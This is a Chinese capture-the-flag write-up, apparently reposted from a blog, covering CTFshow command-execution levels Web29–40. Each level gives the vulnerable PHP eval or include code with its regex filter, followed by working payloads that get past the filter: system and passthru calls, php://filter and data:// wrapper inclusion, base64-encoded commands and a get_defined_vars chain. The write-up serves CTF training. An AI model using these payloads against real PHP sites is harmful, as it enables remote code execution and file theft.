自学内容网 自学内容网

CTFshow-命令执行(Web29-40)

CTFshow-命令执行(Web29-40)

CTFWeb-命令执行漏洞过滤的绕过姿势_绕过空格过滤-CSDN博客

总结rce(远程代码执行各种sao姿势)绕过bypass_远程命令执行绕过-CSDN博客

对比两者的源代码,我们发现,cat指令把flag.php的内容导出后依然遵循php的语法,那么没有echo语句,就无法显示,而tac指令将一切倒过来后:就不是php语句了,在html语句里就就会直接显示出来。

Web29

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }   
}else{
    highlight_file(__FILE__);
}

执行恶意代码,做了过滤,preg_match当$c里有flag(不区分大小写/i) ,就返回1,不执行eval

?c=system(‘ls’);

flag.php index.php

?c=system(‘cat’);

  1. 直接执行系统命令

    ?c=system(“tac%20fla*”);

    ?c=system(“tac fla*”);利用tac与system结合,拿到flag

    因为可以利用system来间接执行系统命令,如果flag不在当前目录,也可以利用?c=system(“ls”); 来查看到底在哪里。

  2. 内敛执行:

    ?c=echo%20tac%20fla*;

  3. fliter读

    https://ea17f469-c347-4866-aaad-05898730fd29.challenge.ctf.show/?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
    
  4. /?c=system(“cat%20fl*g.php”);右键源码

  5. ?c=system(“cp fl*g.php a.txt”);

  6. ?c=eval($_GET[1]);&1=system(“tac%20flag.php”);

  7. ?c=system(base64_decode(‘Y2F0IGZsYWcucGhw’));

Web30

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}
  1. ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

    ?c=include$_GET[1];&1=php://filter/read=convert.base64-encode/resource=flag.php

  2. ?c=echo%20tac%20fla*; ?c=echo%20cat%20fla*;

  3. ?c=echo(tac%20f*);

  4. ?c=eval($_GET[1]);&1=system(“tac%20flag.php”);

  5. ?c=passthru(“tac%20fla*”); passthru跟exec,system差不多

  6. https://e023300e-4277-465d-ab93-9747a4876361.challenge.ctf.show/?c=echo shell_exec("tac fla*");
    
  7. ?c=system(base64_decode(‘Y2F0IGZsYWcucGhw’));

ctfshow{8a58547f-7211-453b-9eba-9b9c4e85987b}

Web31

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}
  1. ?c=eval($_GET[a]);&a=system(“cat flag.php”);
  2. ?c=passthru(“tac%09f*”);
  3. ?c=passthru(base64_decode(“Y2F0IGZsYWcucGhw”));

Web32

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
  1. ?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php 

其实两者的差距只在于一个%0a,改不改无所谓,下面解释各成分作用

  • 首先是include+参数1,作用是包含参数1的文件,运用了文件包含漏洞,最后的文件名字可以改为/etc/passwd和nginx的日志文件来定位flag位置
  • 然后是%0a作用,这是url回车符,因为空格被过滤。事实上,删去也无所谓,似乎php会自动给字符串和变量间添加空格(经检验,只在eval中有效,echo中无效,还是得要空格)
  • 后面的?>的作用是作为绕过分号,作为语句的结束。原理是:php遇到定界符关闭标签会自动在末尾加上一个分号。简单来说,就是php文件中最后一句在?>前可以不写分号。
  • 在c中引用了参数1,然后&后对参数1定义,运用文件包含漏洞
  1. ?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>

Web33

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}
  1. ?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>
  2. ?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
  3. ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

Web34

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}
  1. ?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>
  2. ?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
  3. ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

Web35

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}
  1. ?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>
  2. ?c=include%0a$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
  3. ?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

Web36

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}
  1. ?c=include$_GET[a]?>&a=data://text/plain,<?php system("tac flag.php")?>
  2. ?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
  3. ?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php

Web37

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    }
}else{
    highlight_file(__FILE__);
}
  1. ?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/Pg==
  2. ?c=data://text/plain,<?php system("tac fla*.php")?>

include()data:// 解释为PHP代码,会直接执行

?c=php://filter/read=convert.base64-encode/resource=flag.php不行,因为过滤了flag

在 PHP 中,include() 不仅能加载文件,还可以加载数据流(stream)。PHP 支持多种流包装器(Stream Wrapper),如:

  • data:// - 直接包含原始数据
  • php:// - PHP的输入/输出流
  • file:// - 读取文件(通常默认使用这个)
  • http:// - 远程 HTTP 资源
  1. 这种方法也行,不够hackbar不支持直接在post data中不以键值对形式传送,所以得用burp抓包手动加image-20241211203825416

Web38

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

把php,file也过来过滤了

直接?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZionKTs/Pg==

Web39

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
}else{
    highlight_file(__FILE__);
}

?c=data://text/plain,<?php system("tac fla*.php")?>

Web40

<?php
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}

全过滤了,这里括号过滤的是中文括号

  1. 构造文件读取

    localeconv():返回包含本地数字及货币信息格式的数组。其中数组中的第一个为点号(.)

    pos():返回数组中的当前元素的值。current()与其相似。

    scandir():获取目录下的文件。

    array_reverse():数组逆序。

    next():函数将内部指针指向数组中的下一个元素,并输出。

    print_r():函数用于打印变量,作用对象是变量。

    show_source():对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮,作用对象是文件。

    highlight_file():跟show_source()类似。

    • print_r(pos(localeconv()));
    • print_r(scandir(pos(localeconv())));
    • print_r((array_reverse(scandir(current(localeconv())))));
    • show_source(next(array_reverse(scandir(current(localeconv())))));
    • highlight_file(next(array_reverse(scandir(current(localeconv())))));
    • echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));
  2. 构造数组+rce

    get_defined_vars() :函数返回由所有已定义变量所组成的数组,包括URL屁股后面接的pay

    array_pop() 函数删除数组中的最后一个元素。

    reset用于将指向返回变量数组的指针指向第一个变量即c

    next向前移动一位指针即pay,eval执行返回的值就是咱们定义的恶意代码

    • print_r(get_defined_vars());
    • ?c=eval(next(reset(get_defined_vars())));&pay=system(“tac flag.php”);

    这里源码只定义了一个变量即c,加上引入的pay就两个变量值了

    image-20241211211430839

image-20241211211655955

函数删除数组中的最后一个元素。

reset用于将指向返回变量数组的指针指向第一个变量即c

next向前移动一位指针即pay,eval执行返回的值就是咱们定义的恶意代码

  • print_r(get_defined_vars());
  • ?c=eval(next(reset(get_defined_vars())));&pay=system(“tac flag.php”);

这里源码只定义了一个变量即c,加上引入的pay就两个变量值了

[外链图片转存中…(img-CvyDaotT-1733923316562)]

[外链图片转存中…(img-biZkr7bS-1733923316562)]


原文地址:https://blog.csdn.net/LH1013886337/article/details/144404634

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!